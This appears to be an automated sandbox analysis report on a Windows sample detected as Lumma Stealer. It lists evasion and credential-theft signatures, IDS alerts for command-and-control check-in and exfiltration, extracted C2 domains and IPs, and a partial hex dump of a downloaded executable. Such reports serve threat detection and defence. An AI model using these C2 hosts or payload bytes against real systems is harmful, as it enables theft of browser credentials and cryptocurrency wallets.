Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557863
MD5:	aa1848a9a16aa15d7856a7026d49f19b
SHA1:	b62bbc9c0f385f542eca38955c73af689e492c39
SHA256:	10bbb6a485613807f9253ec55295429463fac355e39b1b450d7d88dcf98f1959
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7480 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AA1848A9A16AA15D7856A7026D49F19B)

chrome.exe (PID: 8128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2000,i,12624885416953397818,8796835942053680158,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3616 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1968,i,5987406572315328770,4088698372966027366,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 7480	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T17:23:07.504027+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-18T17:23:08.993181+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-18T17:23:10.727559+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-18T17:23:12.406057+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-18T17:23:14.835626+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-18T17:23:16.887734+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-18T17:23:19.733834+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-18T17:23:25.837502+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T17:23:08.218076+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-18T17:23:09.861944+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-18T17:23:26.334272+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T17:23:08.218076+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T17:23:09.861944+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T17:23:27.244212+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49743	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T17:23:11.588776+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49732	188.114.96.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T17:23:19.739035+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49736	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.1991683516.0000000007F00000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2084798758.0000000005DE2000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49736 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 16:23:27 GMTContent-Type: application/octet-streamContent-Length: 2797568Last-Modified: Mon, 18 Nov 2024 16:06:20 GMTConnection: keep-aliveETag: "673b65fc-2ab000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 b5 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 6b 71 68 62 78 68 6b 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 63 69 64 77 70 61 7a 00 20 00 00 00 00 2b 00 00 04 00 00 00 8a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49743 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Om9ZGPOBELmu1Wp&MD=Lsx14ymd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Om9ZGPOBELmu1Wp&MD=Lsx14ymd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
